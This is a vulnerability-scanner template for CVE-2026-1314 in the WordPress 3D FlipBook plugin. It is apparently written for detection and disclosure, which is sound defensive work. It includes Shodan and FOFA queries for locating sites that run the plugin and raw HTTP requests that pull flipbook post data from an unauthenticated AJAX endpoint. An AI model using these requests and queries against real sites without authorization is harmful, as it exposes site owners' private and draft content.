id: CVE-2026-1314

info:
  name: WordPress 3D FlipBook <= 1.16.17 - Information Disclosure
  author: theamanrawat
  severity: medium
  description: |
    WordPress 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin versions <= 1.16.17 contain a missing authorization vulnerability in multiple AJAX endpoints. The fb3d_send_posts_in, fb3d_send_post_pages, fb3d_send_posts_in_pages, fb3d_send_posts_in_first_page, and fb3d_send_post_first_page handlers are registered with wp_ajax_nopriv hooks but fail to verify the post status of requested flipbook entries. This allows unauthenticated attackers to retrieve full metadata, PDF URLs, and configuration data of private, draft, and password-protected flipbook posts.
  impact: |
    Unauthenticated attackers can access sensitive flipbook metadata, potentially exposing confidential information.
  remediation:
    Upgrade the 3D FlipBook - PDF Flipbook Viewer, Flipbook Image Gallery plugin to version 1.16.18 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/interactive-3d-flipbook-powered-physics-engine/vulnerability/wordpress-3d-flipbook-pdf-embedder-pdf-flipbook-viewer-flipbook-image-gallery-plugin-1-16-17-missing-authorization-to-unauthenticated-private-draft-flipbook-data-exposure-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1314
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cwe-id: CWE-862
    cve-id: CVE-2026-1314
    epss-score: 0.00892
    epss-percentile: 0.55735
  metadata:
    verified: true
    max-request: 2
    vendor: iberezansky
    product: interactive_3d_flipbook
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/"
    fofa-query: body="/wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/"
  tags: cve,cve2026,wordpress,wp-plugin,wp,3d-flipbook,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/interactive-3d-flipbook-powered-physics-engine/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "3D FlipBook")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=fb3d_send_posts HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":0'
          - '"title":'
          - '"post_type":"3d-flip-book"'
          - '"post_name":""'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a0046304402203efebd61c3021410db026eb522b0aee5ab3e25831234a6a770d9022244aa43d3022069b6fa159b64e459c502a069ba651c2fe4755ab4bd328e4e6d6d17f75d393b19:922c64590222798bb761d5b6d8e72950